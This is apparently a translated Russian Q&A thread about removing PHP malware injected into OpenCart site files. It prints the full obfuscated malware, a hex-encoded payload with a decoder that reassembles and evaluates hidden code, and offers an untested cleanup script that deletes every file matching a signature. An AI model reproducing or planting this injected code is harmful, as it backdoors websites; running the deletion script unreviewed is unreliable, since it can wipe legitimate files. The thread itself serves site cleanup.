Инъекция вредоносных программ OpenCart. Как удалить его из всех файлов?

1. Возьмите резервную копию всех файлов.
2. Откройте Adobe Dream Weaver
3. Нажмите CTRL + F,
4. Выберите вашу папку сайта.
5. В разделе поиска вставьте свой вредоносный код и убедитесь, что поле замены пусто.
6. Нажмите Заменить все

Это сделает свое дело.

Все ли файлы имеют одинаковый код?
Декодируется из вашего вредоносного скрипта

<?php if ( ! isset( $GLOBALS["\x61\156\x75\156\x61"] ) ) {
$ua = strtolower( $_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"] );
if ( ( ! strstr( $ua, "\x6d\163\x69\145" ) ) and ( ! strstr( $ua, "\x72\166\x3a\61\x31" ) ) ) {
$GLOBALS["\x61\156\x75\156\x61"] = 1;
}
} ?>

<?php $xiyzbtmheq = 'bz)%x5c%x7824]25%x5c%x7824-%x5c%x7824-!%x5c%x7825%xvr#%x5c%x785cq%x5c%x7825)ufttj%x5c%x7860QUUI&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)32wjidsb%x5c%x7860bj+upco%x5c%x7825>5h%x5c%x7825!<*:::::)qj3hopmA%x5c%x78273qj%x5c%x7x5c%x7825)m%x5c%x7825=*h%x5c%x7825)m%x5c%2%51%x29%51%x29%73", NULL); }5c%x7825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x78255w6<%x5c%x787fw6*CWtfs%x5c%x7825)7gj6<*id%x5c%x774]256#<!%x5c%x7825ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y39]%x5c%x782f7rfs%x5c%x78256<#o]!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTPI%x5c%x7860QUUI&e_SEEB%x5c~!<**qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057f166%x61%154%x28%151%x6d%160%x6c%157%x7825hOh%x5c%x782f#00#W~!%x5c%x7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x7825!<**3-j%x5c%x7825-bubE{hjudovg!|!**#j{hnpd#)tutjyf%x5c%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%275L3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d]281Ld]245]K2]285]Ke]!hmg%x5c%x7825)!gj!~<ofmuf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x7825c%x5c%x7825j:^<!%x5c%x7825w%x7827;mnui}&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;33b78256~6<%x5c%x787fw6<*K)ftpmdXA6|7**197-2qj%x5c%x78257-K)udfoopd%x5c%x785c%x5c%x7825j^%x5c%x7824-%x5x787f!<X>b%x5c%x7825Z<#opo#>b%x5c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824w6*3qj%x5c%x78257>%x5c%x782272ubfsdXA%x5c%x7827K6<%x5c%x787f#%x5c%x782f#p#%x5c%x782f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%7825%x5c%x7827Y%x5c%x7825x7860msvd}R;*msv%x5c%x7825)}.;%x5c%x7860UQPMSVD!-id%x5c%%x7825j:,,Bjg!)%x5c%x7825j:>>1*!%x5c%x7825b:c%x7824-%x5c%x7824<%x5c%x7825155%x61%160%x28%42%x66%152%x66%147%x67%42%x2c%163%x74%162%x5f%x5c%x7825r%x5c%x7878Bsfuvso!sboepn)%x5c%x782%x5c%x78e%x5c%x78b%x5c%x7825gx7825)uqpuft%x5c%x7860msvd},;uqpuft%xx5c%x7860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x5cx5c%x7860hA%x5c%x7827pd%x5c%x78256<C%x5c%x782q}k;opjudovg}%x5c%x7878;0]=])0#)U!%x5c%x7827{**u%x5c%x7787f_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!-1);} @error_reporting(0); pusut!-#j0#!%x5c%x782f!**#sfmcnbs+yfeobz+sf!%x5c%x782f!#0#)idubn%x5c%x7860hfsq)!sp!*x7825t::!>!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%x%x5c%x7825tmw!>!#]y84]275%x7825>2q%x5c%x7825<#g6R85,67R37,187878r.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#%x5c%x7825fdy<Cb*[%x5c%x7825h!>!%x5c%x7825#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<5c%x7825h>#]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:55f;!opjudovg}k~~9{d%x5c%x7825:osvufstn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj]37y]672]48y]#>s%x5c%x7825<#462]47y]252]18y]#>q%x55)utjm6<%x5c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x7825c%x78256<%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c%x764%145%x28%141%x72%162%x61%171%x5f%x782f#%x5c%x7825#%x5c%x782f#o]#%x5c%x782f*)32x5c%x78246767~6<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c7825-#1GO%x5c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x55]y85]82]y76]62]y3:]84#-!OVMM*<%x2x7825b:>1<!gps)%x5c%x7825j:5c%x7825-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x78}#QwTW%x5c%x7825hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x3zbe!-#jt0*?]+^?]_%x5c%x785]256]y6g]257]y86]267]y74]275]y7:]268]1]y33]68]y34]68]y33]65]y31]53]y6d]281]y43]78]y33]65]y31]97f-s.973:8297f:5297e:56-%x5c%xXA%x5c%x7822)7gj6<*QDU%x5c%x7860MPc}X%x5c%x7824<!%x5c%x7825tzw>!#]y76]277]y72]265]y39]274]y85]27x5c%x7825kj:-!OVMM*<(<A%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.3%xT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)ffV%x5c%x787f<*X&Z&S{ftmfV%%x78256<pd%x5c%x7825w6Z6<.4%x5c%x7860hf5d816:+946:ce44#)zbssb:-111112)eobs%x5c%x7860un>qp%x5c5tdz*Wsfuvso!%x5c%x7825bss%x5c%x785csboe))1%x5c%x782f35.)1%c%x7825!osvufs!*!+A!>!{e%x5c%x7825)!>>%x5c%x7822!f3]y6g]273]y76]271]y7d]252]y74]256]y39]252]y83]273%x7825j>1<%x5c%x7825j=6[%x5c%x7825ww2!>#p0;quui#>.%x5c%x7825!<***f%x5c%x7827,*e%x5c%x7827,*d%x5c%x7827,*c%163%x70%154%x69%164%50%x2%x5c%x782f%x5c%x782424-%x5c%x7824*<!~!dsfbttfsqnpdov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>5c%x7878{**#k#)tutjyf%x5c%x7860%x5c%x7878%x5c%x7822<*rfs%x5c%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x78257;utpI#7>x7825):fmji%x5c%x787!hmg%x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-j,,*!|%x5c%x7824-%x5c%xl:!}V;3q%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%7]381]211M5]67]452]88]5]48]32M<~!!%x5c%x7825s:N}#-%x5c%x7825o:W%x5c%x7825c:>1<%x5c%825%x5c%x782fh%x5c%x7825)n%x5c%x782824y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%x5c%x7824]26%x55-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:**t%3]317]445]212]445]43]321]464]284]364]6]234]342]58]24]31#-%x5c%x782x5c%x7825Z<^2%x5c%x785c2%x5c%x7827*&7-n%x5c%x782tRe%x5c%x7825)Rd%x5c%x7825)Rb%x5c%x7825))!gj!<*#cd2bge56+99386c6f+9y7f#<!%x5c%x7825tww!>!%x5c%x775%156%x61"])))) { $GLOBALS["%x61%156%x75%156%x61"]=1; function f5c%x7860msvd}+;!>!}%x5c%x7827,d7R17,67R37,#%x5c%x782fq%x5c%x7825>U<#16,47R57,27R66,#%x5c%x782fq%x5c%x7878pmpusut)tpqssuif((function_exists("%x6f%142%x5f%163%x74%141%x72%164") && (!isset(271]y83]256]y78]248]y83]256]y81]265]y72]254]y76]67825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%x5c%x7825tdz>#L4]b%x5c%x7825!>!2p%x5cx782fh%x5c%x7825:<**#57]38y]47]67y]37]88y]27]28y]#%x5c%x782fr%x5c%x75c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%^#zsfvr#%x5c%x785cq%x5c%x78257%x5c%x782f7#@#7x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#>1<!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,%x5c%%x7825)tpqsut>j%x5c%x7825!*9!%x5c%x7827bubE{h%x5c%x7825)tpqsut>j%x5c%5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x%x7825zB%x5c%x7825z>!tussfw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c5c%x782f#7e:55946-tr.984:75983:48984:71ppde:4:|:**#ppde#)tutjyf%x5c%x78604%x5c%x78223}!+!<:iuhofm%x5c%x7825:-554l}%x5c%x7827;%x5c%x7825!<*#}_;#)323ldfid>}&;!osvufs}%x5c%x787id%x5c%x78256<%x5c%x787fw6*%x5c%x78%x7825wN;#-Ez-1H*WCw*[!%x5c%x7825rN)%x5c%x7825%x5c%x7878:-!%x5c%x7825tzwx7825%x5c%x787f!~!<##!>!2p%gg!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y5c%x7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x7f_*#ujojRk3%x5c%x7860{666~6<&w6<%x5c%x787fw%x7827u%x5c%x7825)7fmji%x5c%x78786<C%x5c%x7827&68:<##:>:h%x5c%x7825:<#64y]552]e7y]#>n%x5c%x7825<#372]58y]4720ufh%x5c%x7860fmjg}[;ldpt%x5c%x7825}K;%x5c%x7860ufldpt}X;%x5c%f7&6|7**111127-K)ebfsX%x5c25)!gj!|!*1?hmg%x5c%x7825)!gj!<**2-4-bubE{h%x59.-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt)fubmgoj{hA!osvufs!~<3,j%x5c%x7825>j%x5c%x7825!*3!%x5c%x78278257-C)fepmqnjA%x5c%x7827&6<.fmjgA%x5c%x7827doj%xjfgg($n){return chr(ord($n)860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c%x7tdz)%x5c%x7825bbT-%x5c%x7825bT-%x5c%x7825hW~%x5c%x7825fdy)##-!#~<%74]256#<!%x5c%x7825ff2!>!bss]y72]282#<!%x5c%x7825tjw!>!c%x7827k:!ftmf!}Z;^nbsbq%x5c%x782;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%>>!}W;utpi}Y;tuofuopd%x5c%x78682f},;#-#}+;%x5c%x7825-qp%x5c%x7825)c!>!%x5c%x7825i%x5c%x785c2^%x5c%x7825o:!>!%x5c%x78242178}527}88:}334}472%x5c%x78]y83]273]y76]277#<%x5c%x7825t2w>#]y74]273]y76]252]y8524<!%x5c%x7825mm!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]yx5c%x7827,*b%x5c%x7827)fepdof.)fepdof.%x5c%x782f#@#%x5c%x782fqp5%x5c%x7824-%x5c%x7824!>!fyqmpef)#%x5c%x7824*<!%x5c%x7825k%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!***b%x5c%x7825)sf%x5c%x7878pmR#>q%x5c%x7825V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w%x5c%x7825)kV%x#ojneb#-*f%x5c%x7825)sf%x5cv}.;%x5c%x782f#%x5c%x782f#%x5c%x7%x7825%x5c%x7827jsv%x5c%x78256<C>^#zsfvr#%x5c%x785cq%x5c%x78257**^#zsf8256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272qj%x5c%x78256<5c%x7824gps)%x5c%x7825j>1<%x5c%x7825j=tj{fpg)%x5c%x7825%x5c%x78-#%x5c%x7824-%x5c%x7824-tusqpt)%x5c%x7825$GLOBALS["%x61%156%x>1<%x5c%x7825j:=tj{fpg)%x5c%x7825s:*<%x5cc%x7824tvctus)%x5c%x7825%x5c%+{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x7825)+opjudovg+)!gj+{e%x5x5c%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%x5c%x7825r%x5c%x7878my%x5c%x7825)utjm!|!*5!%qj%x5c%x7825)7gj6<**2qj%x5c%x7825)hopm3qjAx5c%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjudovg<~%x5c%x7824<!53Ld]53]Kc]55Ld]55#*<%x5c%x7825bG9}:}.}-}!#*<%x5c%x7825nfd>%xjudovg)!gj!|!*msv%x5c%x7825)}k~~~<ftmbg!osvufs!|ftmf!~<**x7860TW~%x5c%x7824<%x5c%x78x7825b:<!%x5c%x7825c:>%x5c%x7825s:%x5c%x783zbek!~!<b%x5c%x7825%x5c%<!Ce*[!%x5c%x7825cIjQeTQcOc%x5c%x782f#00#W~!Ydrr)%x7825z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7825w%x5c%w)%x5c%x7825tww**WYsboepn)%x5c%x7825bss-%x5c%x7825r%x5c%x7878B%xc%x7825<#762]67y]562]38y]572]48y]#>m%x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz)#]341]88M4P8]37x7825!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bubE{h%x5cj:!>!#]y3d]51]y35]256]y76]%x7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x82400~:<h%x5c%x7825_t%x%x5c%x7825)sutcvt-#w#)ldbqov>*of7824gvodujpo!%x5c%x7824-%x5c5%x5c%x785cSFWSFT%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R;msc%x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825!|!*#91y]c9y]g2y]#>>*42f#0#%x5c%x782f*#npd%x5c%x782f#)rrd%x5c%x782f#0825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7827tfs%x5c%x78256<*17-x5c%x7822)gj6<^#Y#%x5c%x785cq%x5c%x-1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{h%x5c%x7825)j{hnpd!oppreg_replace("%x2f%50%x2e%52%x29%57%x65","%x65%judovg}{;#)tutjyf%x5c%x7860opx5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x7825V<#65,47R25tbc%x5c%x787f!|!*uyfu%x57825!**X)ufttj%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!C#-#O#-#N#*%x5c%x7824%x5c%x782f%]278]225]241]334]368%x7824y7%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%x6<.msv%x5c%x7860ftsbqA7>q%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*,6<*msv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827z-#:#*%x5c%x7824-%x5c%x7824!>!tus%x5c%x75c%x7825:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x7825>%x5c%)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#1%x5c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x%x5c%x782f7^#iubq#%x5c%x785cq%x5cg]61]y3f]63]y3:]68]y76#<%x5c%x78e%x5c%x78b%x5c%x7825w:!>!%7pd%x5c%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5c%x7825tpz!>!#]D6M7]K3#<%x6*CW&)7gj6<.[A%x5c%x7827&6<%x5c%x787fw6*%x5c%x825-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x7825!-#2#%x5c%7f%x5c%x787f<u%x5c%x7825V%x5c%x7827{ftmtmbg)!gj<*#k#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x787f%x5c%x78#fubfsdXk5%x5c%x7860{66~6<&w6<%x5c%x787fw6*CW&)7gj6<*doj%x5c%x7e%x5c%x78b%x5c%x7825mm%x7860FUPNFS&d_SFSFGFS%x5c%x7827!hmg%x5c%x78860{6~6<tfs%x5c%x7822%134%x78%62%x35%165%x3a%146%x21%76%x21%50%x5c%x7825%x5c%x7878:!>#]y3SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS]322]3]364]6]283]427]36]373P6]36]73]83]238M72]y3d]51]y35]274]y4:]82]y3:]62]y4c#<!%x5c%:~928>>%x5c%x7822:ftmbg39*56A:>:8:|:7#6#)tutjyf%x5c%x78604392755epnbss-%x5c%x7825r%x5c%x7878W~!Ypp2)%x5cx787f!>>%x5c%x7822!pd%x5c%x7825)!gj}Z;h!op/(.*)/epreg_replacedlupegpizy';
$szhkmpjese           = explode( chr( ( 305 - 261 ) ), '4646,67,7201,20,4462,65,6124,27,1875,27,8578,47,611,37,2557,35,1509,62,3684,25,9763,69,9237,58,2637,67,3327,38,3212,46,4920,54,1738,45,9295,53,4342,24,2442,66,5905,26,5735,48,3850,61,466,29,9149,55,1059,64,3094,34,3258,43,1264,30,1234,30,7443,42,204,29,7043,54,4974,45,9204,33,6973,70,51,31,8483,35,1355,25,8890,62,9614,63,6075,49,2508,49,9743,20,353,48,8423,60,9832,42,8952,42,5458,35,5691,44,9412,46,1838,37,6402,30,5843,62,1380,56,1644,37,4527,29,6344,58,10064,42,8625,29,7610,57,5977,60,6037,38,3931,42,5159,30,8023,70,5120,39,909,24,715,61,8189,32,7419,24,9722,21,5931,46,8306,70,8518,60,776,70,5565,27,4318,24,4832,20,8119,47,2704,49,2815,66,8376,47,3619,65,6663,63,173,31,3388,32,6784,63,1902,43,150,23,2357,35,1945,41,6913,27,4626,20,4366,67,3365,23,495,59,9699,23,82,68,7736,25,1159,31,5189,34,8736,57,554,57,8712,24,6311,33,8249,57,6940,33,6432,36,5395,63,2322,35,9960,63,3751,48,5375,20,5324,51,7291,60,3479,50,9554,60,9515,39,3301,26,8654,58,4556,70,2074,35,6847,66,3799,51,3996,43,1010,49,1783,55,9458,57,2592,45,2943,27,3128,62,3529,49,6284,27,2217,47,2049,25,6548,53,2970,37,4433,29,8166,23,9034,53,4852,68,4122,35,4213,39,233,41,3911,20,5783,60,2392,50,7935,37,7485,64,6495,53,6601,62,6256,28,0,51,1190,44,1123,36,7262,29,5019,36,7160,41,8994,40,6151,39,4157,56,1480,29,3973,23,8221,28,8845,45,7097,63,3729,22,933,48,6726,58,8093,26,9917,43,1986,63,303,50,6468,27,7761,50,1571,44,10023,41,5223,62,5493,35,2881,62,648,67,7871,64,2264,58,3063,31,2109,68,5285,39,9348,64,5640,51,4762,70,846,63,7549,61,2177,40,6190,66,7972,51,8825,20,9874,43,4039,30,4252,66,3420,59,7351,68,4069,53,2788,27,7221,41,1436,44,5055,65,7694,42,981,29,1681,57,3578,41,1294,61,7811,60,7667,27,9677,22,5528,37,3709,20,9087,62,8793,32,3190,22,1615,29,5592,48,401,65,4713,49,3007,56,2753,35,274,29' );
$vljzlxyidt           = substr( $xiyzbtmheq, ( 66854 - 56748 ), ( 26 - 19 ) );
if ( ! function_exists( 'krkmslacdc' ) ) {
function krkmslacdc( $dfsltjfdfy, $vhbwrjxtar ) {
$cnjpfblxkx = null;
for ( $mckpdcjuhs = 0; $mckpdcjuhs < ( sizeof( $dfsltjfdfy ) / 2 ); $mckpdcjuhs ++ ) {
$cnjpfblxkx .= substr( $vhbwrjxtar, $dfsltjfdfy[ ( $mckpdcjuhs * 2 ) ], $dfsltjfdfy[ ( $mckpdcjuhs * 2 ) + 1 ] );
}

return $cnjpfblxkx;
}

;
}
$pyzbigcqqv = "\x20\57\x2a\40\x75\141\x65\164\x78\163\x6e\155\x61\157\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\63\x35\55\x39\70\x29\51\x2c\40\x63\150\x72\50\x28\63\x37\63\x2d\62\x38\61\x29\51\x2c\40\x6b\162\x6b\155\x73\154\x61\143\x64\143\x28\44\x73\172\x68\153\x6d\160\x6a\145\x73\145\x2c\44\x78\151\x79\172\x62\164\x6d\150\x65\161\x29\51\x29\73\x20\57\x2a\40\x65\141\x62\166\x6e\162\x6f\157\x74\157\x20\52\x2f\40";
$tkudmphbyd = substr( $xiyzbtmheq, ( 53762 - 43649 ), ( 51 - 39 ) );
$tkudmphbyd( $vljzlxyidt, $pyzbigcqqv, null );
$tkudmphbyd = $pyzbigcqqv;
$tkudmphbyd = ( 565 - 444 );
$xiyzbtmheq = $tkudmphbyd - 1; ?>

//////////////ОБНОВИТЬ
Еще не тестировали, но, пожалуйста, создайте php-файл с этим содержимым.

<?php
function get_dir_tree( $path = __DIR__, $include_file = true, $include_dir = true, $excludes = array() ) {
if ( ! is_dir( $path ) ) {
return false;
}

$data = array();
//keeps 2 default flag, and add the unnix path & remove dots
$directory_flag = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO
| FilesystemIterator::UNIX_PATHS | FilesystemIterator::SKIP_DOTS;
$tree           = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator( $path, $directory_flag ),
RecursiveIteratorIterator::SELF_FIRST );
foreach ( $tree as $p => $file ) {
if ( $file->isFile() && $include_file == false ) {
continue;
}

if ( $file->isDir() && $include_dir == false ) {
continue;
}

if ( in_array( $p, $excludes ) ) {
continue;
}

$data[] = $p;
}

return $data;
}

foreach ( get_dir_tree( __DIR__, true, false ) as $path ) {
$content = file_get_contents( $path );
if ( stristr( $content, 'if(!isset($GLOBALS["\x61\156\x75\156\x61"]))' ) ) {
echo 'file ' . $path . ' is affected';
unlink( $path );
}
}

Затем перейдите к этому файлу в вашем браузере, он найдет и удалит плохой файл.
Убедитесь, что у вас есть резервная копия